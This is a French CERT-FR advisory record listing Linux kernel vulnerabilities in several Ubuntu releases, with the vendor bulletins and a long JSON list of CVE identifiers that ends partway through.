Vulnerability-Lookup

CERTFR-2024-AVI-1013

Vulnerability from certfr_avis - Published: - Updated:

De multiples vulnérabilités ont été découvertes dans le noyau Linux d'Ubuntu. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire, une élévation de privilèges et une atteinte à la confidentialité des données.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

None

Impacted products

Vendor	Product	Description
Ubuntu	Ubuntu	Ubuntu 16.04 ESM
Ubuntu	Ubuntu	Ubuntu 24.04 LTS
Ubuntu	Ubuntu	Ubuntu 18.04 ESM
Ubuntu	Ubuntu	Ubuntu 20.04 LTS
Ubuntu	Ubuntu	Ubuntu 14.04 ESM
Ubuntu	Ubuntu	Ubuntu 22.04 LTS

References

Title

Publication Time

Tags

Bulletin de sécurité Ubuntu USN-7123-1	2024-11-20	vendor-advisory
Bulletin de sécurité Ubuntu USN-7121-2	2024-11-20	vendor-advisory
Bulletin de sécurité Ubuntu USN-7120-3	2024-11-21	vendor-advisory
Bulletin de sécurité Ubuntu USN-7119-1	2024-11-19	vendor-advisory
Bulletin de sécurité Ubuntu USN-7089-7	2024-11-19	vendor-advisory
Bulletin de sécurité Ubuntu USN-7120-2	2024-11-20	vendor-advisory
Bulletin de sécurité Ubuntu USN-7121-1	2024-11-19	vendor-advisory
Bulletin de sécurité Ubuntu USN-7120-1	2024-11-19	vendor-advisory
Bulletin de sécurité Ubuntu USN-7122-1	2024-11-19	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Ubuntu 16.04 ESM",
      "product": {
        "name": "Ubuntu",
        "vendor": {
          "name": "Ubuntu",
          "scada": false
        }
      }
    },
    {
      "description": "Ubuntu 24.04 LTS",
      "product": {
        "name": "Ubuntu",
        "vendor": {
          "name": "Ubuntu",
          "scada": false
        }
      }
    },
    {
      "description": "Ubuntu 18.04 ESM",
      "product": {
        "name": "Ubuntu",
        "vendor": {
          "name": "Ubuntu",
          "scada": false
        }
      }
    },
    {
      "description": "Ubuntu 20.04 LTS",
      "product": {
        "name": "Ubuntu",
        "vendor": {
          "name": "Ubuntu",
          "scada": false
        }
      }
    },
    {
      "description": "Ubuntu 14.04 ESM",
      "product": {
        "name": "Ubuntu",
        "vendor": {
          "name": "Ubuntu",
          "scada": false
        }
      }
    },
    {
      "description": "Ubuntu 22.04 LTS",
      "product": {
        "name": "Ubuntu",
        "vendor": {
          "name": "Ubuntu",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": null,
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2022-36402",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-36402"
    },
    {
      "name": "CVE-2023-6610",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-6610"
    },
    {
      "name": "CVE-2024-25744",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25744"
    },
    {
      "name": "CVE-2023-52599",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52599"
    },
    {
      "name": "CVE-2023-52531",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52531"
    },
    {
      "name": "CVE-2023-52502",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52502"
    },
    {
      "name": "CVE-2024-26607",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26607"
    },
    {
      "name": "CVE-2024-26633",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26633"
    },
    {
      "name": "CVE-2023-52434",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52434"
    },
    {
      "name": "CVE-2023-52612",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52612"
    },
    {
      "name": "CVE-2023-52639",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52639"
    },
    {
      "name": "CVE-2024-26800",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26800"
    },
    {
      "name": "CVE-2024-26787",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26787"
    },
    {
      "name": "CVE-2024-26675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26675"
    },
    {
      "name": "CVE-2024-26640",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26640"
    },
    {
      "name": "CVE-2024-26641",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26641"
    },
    {
      "name": "CVE-2023-52572",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52572"
    },
    {
      "name": "CVE-2023-52578",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52578"
    },
    {
      "name": "CVE-2024-26960",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26960"
    },
    {
      "name": "CVE-2024-27051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27051"
    },
    {
      "name": "CVE-2024-26885",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26885"
    },
    {
      "name": "CVE-2024-26636",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26636"
    },
    {
      "name": "CVE-2023-52614",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52614"
    },
    {
      "name": "CVE-2024-26891",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26891"
    },
    {
      "name": "CVE-2024-26668",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26668"
    },
    {
      "name": "CVE-2024-26669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26669"
    },
    {
      "name": "CVE-2021-47212",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47212"
    },
    {
      "name": "CVE-2024-26893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26893"
    },
    {
      "name": "CVE-2021-47188",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47188"
    },
    {
      "name": "CVE-2024-35848",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35848"
    },
    {
      "name": "CVE-2024-36953",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36953"
    },
    {
      "name": "CVE-2023-52757",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52757"
    },
    {
      "name": "CVE-2024-35877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35877"
    },
    {
      "name": "CVE-2024-36020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36020"
    },
    {
      "name": "CVE-2024-38560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38560"
    },
    {
      "name": "CVE-2024-38596",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38596"
    },
    {
      "name": "CVE-2024-38637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38637"
    },
    {
      "name": "CVE-2024-27397",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27397"
    },
    {
      "name": "CVE-2022-48733",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48733"
    },
    {
      "name": "CVE-2024-38630",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38630"
    },
    {
      "name": "CVE-2024-26661",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26661"
    },
    {
      "name": "CVE-2024-26677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26677"
    },
    {
      "name": "CVE-2024-27012",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27012"
    },
    {
      "name": "CVE-2024-25741",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25741"
    },
    {
      "name": "CVE-2024-39487",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39487"
    },
    {
      "name": "CVE-2024-39494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39494"
    },
    {
      "name": "CVE-2024-40915",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40915"
    },
    {
      "name": "CVE-2024-40929",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40929"
    },
    {
      "name": "CVE-2024-38570",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38570"
    },
    {
      "name": "CVE-2024-38602",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38602"
    },
    {
      "name": "CVE-2024-38611",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38611"
    },
    {
      "name": "CVE-2024-38538",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38538"
    },
    {
      "name": "CVE-2024-38577",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38577"
    },
    {
      "name": "CVE-2024-41011",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41011"
    },
    {
      "name": "CVE-2024-39472",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39472"
    },
    {
      "name": "CVE-2023-52751",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52751"
    },
    {
      "name": "CVE-2024-41017",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41017"
    },
    {
      "name": "CVE-2024-41090",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41090"
    },
    {
      "name": "CVE-2024-41091",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41091"
    },
    {
      "name": "CVE-2022-48791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48791"
    },
    {
      "name": "CVE-2022-48863",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48863"
    },
    {
      "name": "CVE-2024-41012",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41012"
    },
    {
      "name": "CVE-2024-41015",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41015"
    },
    {
      "name": "CVE-2024-41041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41041"
    },
    {
      "name": "CVE-2024-41044",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41044"
    },
    {
      "name": "CVE-2024-41048",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41048"
    },
    {
      "name": "CVE-2024-41057",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41057"
    },
    {
      "name": "CVE-2024-41058",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41058"
    },
    {
      "name": "CVE-2024-41059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41059"
    },
    {
      "name": "CVE-2024-41060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41060"
    },
    {
      "name": "CVE-2024-41063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41063"
    },
    {
      "name": "CVE-2024-41064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41064"
    },
    {
      "name": "CVE-2024-41066",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41066"
    },
    {
      "name": "CVE-2024-41069",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41069"
    },
    {
      "name": "CVE-2024-41070",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41070"
    },
    {
      "name": "CVE-2024-41071",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41071"
    },
    {
      "name": "CVE-2024-41072",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41072"
    },
    {
      "name": "CVE-2024-41076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41076"
    },
    {
      "name": "CVE-2024-41078",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41078"
    },
    {
      "name": "CVE-2024-41081",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41081"
    },
    {
      "name": "CVE-2024-41087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41087"
    },
    {
      "name": "CVE-2024-41089",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41089"
    },
    {
      "name": "CVE-2024-41095",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41095"
    },
    {
      "name": "CVE-2024-42070",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42070"
    },
    {
      "name": "CVE-2024-42079",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42079"
    },
    {
      "name": "CVE-2024-42093",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42093"
    },
    {
      "name": "CVE-2024-42096",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42096"
    },
    {
      "name": "CVE-2024-42105",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42105"
    },
    {
      "name": "CVE-2024-42119",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42119"
    },
    {
      "name": "CVE-2024-42120",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42120"
    },
    {
      "name": "CVE-2024-42124",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42124"
    },
    {
      "name": "CVE-2024-42145",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42145"
    },
    {
      "name": "CVE-2024-42161",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42161"
    },
    {
      "name": "CVE-2024-42223",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42223"
    },
    {
      "name": "CVE-2024-42230",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42230"
    },
    {
      "name": "CVE-2022-48666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48666"
    },
    {
      "name": "CVE-2024-36484",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36484"
    },
    {
      "name": "CVE-2024-41007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41007"
    },
    {
      "name": "CVE-2024-41020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41020"
    },
    {
      "name": "CVE-2024-41022",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41022"
    },
    {
      "name": "CVE-2024-41034",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41034"
    },
    {
      "name": "CVE-2024-41035",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41035"
    },
    {
      "name": "CVE-2024-41046",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41046"
    },
    {
      "name": "CVE-2024-41049",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41049"
    },
    {
      "name": "CVE-2024-41055",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41055"
    },
    {
      "name": "CVE-2024-41065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41065"
    },
    {
      "name": "CVE-2024-41068",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41068"
    },
    {
      "name": "CVE-2024-41077",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41077"
    },
    {
      "name": "CVE-2024-42101",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42101"
    },
    {
      "name": "CVE-2024-42102",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42102"
    },
    {
      "name": "CVE-2024-42104",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42104"
    },
    {
      "name": "CVE-2024-42106",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42106"
    },
    {
      "name": "CVE-2024-42115",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42115"
    },
    {
      "name": "CVE-2024-42121",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42121"
    },
    {
      "name": "CVE-2024-42127",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42127"
    },
    {
      "name": "CVE-2024-42131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42131"
    },
    {
      "name": "CVE-2024-42137",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42137"
    },
    {
      "name": "CVE-2024-42152",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42152"
    },
    {
      "name": "CVE-2024-42153",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42153"
    },
    {
      "name": "CVE-2024-42157",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42157"
    },
    {
      "name": "CVE-2024-42229",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42229"
    },
    {
      "name": "CVE-2024-42232",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42232"
    },
    {
      "name": "CVE-2024-42236",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42236"
    },
    {
      "name": "CVE-2024-42244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42244"
    },
    {
      "name": "CVE-2024-42247",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42247"
    },
    {
      "name": "CVE-2024-42110",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42110"
    },
    {
      "name": "CVE-2024-41073",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41073"
    },
    {
      "name": "CVE-2024-41096",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41096"
    },
    {
      "name": "CVE-2024-42082",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42082"
    },
    {
      "name": "CVE-2023-52887",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52887"
    },
    {
      "name": "CVE-2024-41027",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41027"
    },
    {
      "name": "CVE-2024-41047",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41047"
    },
    {
      "name": "CVE-2024-41092",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41092"
    },
    {
      "name": "CVE-2024-41093",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41093"
    },
    {
      "name": "CVE-2024-41097",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41097"
    },
    {
      "name": "CVE-2024-42068",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42068"
    },
    {
      "name": "CVE-2024-42076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42076"
    },
    {
      "name": "CVE-2024-42077",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42077"
    },
    {
      "name": "CVE-2024-42080",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42080"
    },
    {
      "name": "CVE-2024-42084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42084"
    },
    {
      "name": "CVE-2024-42085",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42085"
    },
    {
      "name": "CVE-2024-42086",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42086"
    },
    {
      "name": "CVE-2024-42087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42087"
    },
    {
      "name": "CVE-2024-42089",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42089"
    },
    {
      "name": "CVE-2024-42090",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42090"
    },
    {
      "name": "CVE-2024-42092",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42092"
    },
    {
      "name": "CVE-2024-42094",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42094"
    },
    {
      "name": "CVE-2024-42095",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42095"
    },
    {
      "name": "CVE-2024-42097",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42097"
    },
    {
      "name": "CVE-2024-42098",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42098"
    },
    {
      "name": "CVE-2024-42109",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42109"
    },
    {
      "name": "CVE-2024-42130",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42130"
    },
    {
      "name": "CVE-2024-42140",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42140"
    },
    {
      "name": "CVE-2024-42225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42225"
    },
    {
      "name": "CVE-2024-42240",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42240"
    },
    {
      "name": "CVE-2022-48938",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48938"
    },
    {
      "name": "CVE-2022-48943",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48943"
    },
    {
      "name": "CVE-2023-52889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52889"
    },
    {
      "name": "CVE-2024-39486",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39486"
    },
    {
      "name": "CVE-2024-41010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41010"
    },
    {
      "name": "CVE-2024-41025",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41025"
    },
    {
      "name": "CVE-2024-41028",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41028"
    },
    {
      "name": "CVE-2024-41032",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41032"
    },
    {
      "name": "CVE-2024-41036",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41036"
    },
    {
      "name": "CVE-2024-41037",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41037"
    },
    {
      "name": "CVE-2024-41038",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41038"
    },
    {
      "name": "CVE-2024-41039",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41039"
    },
    {
      "name": "CVE-2024-41042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41042"
    },
    {
      "name": "CVE-2024-41045",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41045"
    },
    {
      "name": "CVE-2024-41050",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41050"
    },
    {
      "name": "CVE-2024-41051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41051"
    },
    {
      "name": "CVE-2024-41056",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41056"
    },
    {
      "name": "CVE-2024-41061",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41061"
    },
    {
      "name": "CVE-2024-41062",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41062"
    },
    {
      "name": "CVE-2024-41074",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41074"
    },
    {
      "name": "CVE-2024-41075",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41075"
    },
    {
      "name": "CVE-2024-41079",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41079"
    },
    {
      "name": "CVE-2024-41080",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41080"
    },
    {
      "name": "CVE-2024-41084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41084"
    },
    {
      "name": "CVE-2024-41088",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41088"
    },
    {
      "name": "CVE-2024-41094",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41094"
    },
    {
      "name": "CVE-2024-41098",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41098"
    },
    {
      "name": "CVE-2024-42064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42064"
    },
    {
      "name": "CVE-2024-42069",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42069"
    },
    {
      "name": "CVE-2024-42073",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42073"
    },
    {
      "name": "CVE-2024-42074",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42074"
    },
    {
      "name": "CVE-2024-42113",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42113"
    },
    {
      "name": "CVE-2024-42114",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42114"
    },
    {
      "name": "CVE-2024-42117",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42117"
    },
    {
      "name": "CVE-2024-42126",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42126"
    },
    {
      "name": "CVE-2024-42132",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42132"
    },
    {
      "name": "CVE-2024-42133",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42133"
    },
    {
      "name": "CVE-2024-42136",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42136"
    },
    {
      "name": "CVE-2024-42138",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42138"
    },
    {
      "name": "CVE-2024-42141",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42141"
    },
    {
      "name": "CVE-2024-42142",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42142"
    },
    {
      "name": "CVE-2024-42144",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42144"
    },
    {
      "name": "CVE-2024-42147",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42147"
    },
    {
      "name": "CVE-2024-42155",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42155"
    },
    {
      "name": "CVE-2024-42156",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42156"
    },
    {
      "name": "CVE-2024-42158",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42158"
    },
    {
      "name": "CVE-2024-42227",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42227"
    },
    {
      "name": "CVE-2024-42228",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42228"
    },
    {
      "name": "CVE-2024-42237",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42237"
    },
    {
      "name": "CVE-2024-42238",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42238"
    },
    {
      "name": "CVE-2024-42239",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42239"
    },
    {
      "name": "CVE-2024-42241",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42241"
    },
    {
      "name": "CVE-2024-42245",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42245"
    },
    {
      "name": "CVE-2024-42246",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42246"
    },
    {
      "name": "CVE-2024-42250",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42250"
    },
    {
      "name": "CVE-2024-42253",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42253"
    },
    {
      "name": "CVE-2024-42259",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42259"
    },
    {
      "name": "CVE-2024-42269",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42269"
    },
    {
      "name": "CVE-2024-42271",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42271"
    },
    {
      "name": "CVE-2024-42274",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42274"
    },
    {
      "name": "CVE-2024-42276",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42276"
    },
    {
      "name": "CVE-2024-42277",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42277"
    },
    {
      "name": "CVE-2024-42280",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42280"
    },
    {
      "name": "CVE-2024-42281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42281"
    },
    {
      "name": "CVE-2024-42283",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42283"
    },
    {
      "name": "CVE-2024-42284",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42284"
    },
    {
      "name": "CVE-2024-42285",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42285"
    },
    {
      "name": "CVE-2024-42286",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42286"
    },
    {
      "name": "CVE-2024-42287",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42287"
    },
    {
      "name": "CVE-2024-42288",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42288"
    },
    {
      "name": "CVE-2024-42289",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42289"
    },
    {
      "name": "CVE-2024-42290",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42290"
    },
    {
      "name": "CVE-2024-42292",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42292"
    },
    {
      "name": "CVE-2024-42295",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42295"
    },
    {
      "name": "CVE-2024-42301",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42301"
    },
    {
      "name": "CVE-2024-42302",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42302"
    },
    {
      "name": "CVE-2024-42309",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42309"
    },
    {
      "name": "CVE-2024-42310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42310"
    },
    {
      "name": "CVE-2024-42311",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42311"
    },
    {
      "name": "CVE-2024-42312",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42312"
    },
    {
      "name": "CVE-2024-42313",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42313"
    },
    {
      "name": "CVE-2024-42318",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42318"
    },
    {
      "name": "CVE-2024-43817",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43817"
    },
    {
      "name": "CVE-2024-43829",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43829"
    },
    {
      "name": "CVE-2024-43830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43830"
    },
    {
      "name": "CVE-2024-43834",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43834"
    },
    {
      "name": "CVE-2024-43839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43839"
    },
    {
      "name": "CVE-2024-43841",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43841"
    },
    {
      "name": "CVE-2024-43846",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43846"
    },
    {
      "name": "CVE-2024-43849",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43849"
    },
    {
      "name": "CVE-2024-43853",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43853"
    },
    {
      "name": "CVE-2024-43854",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43854"
    },
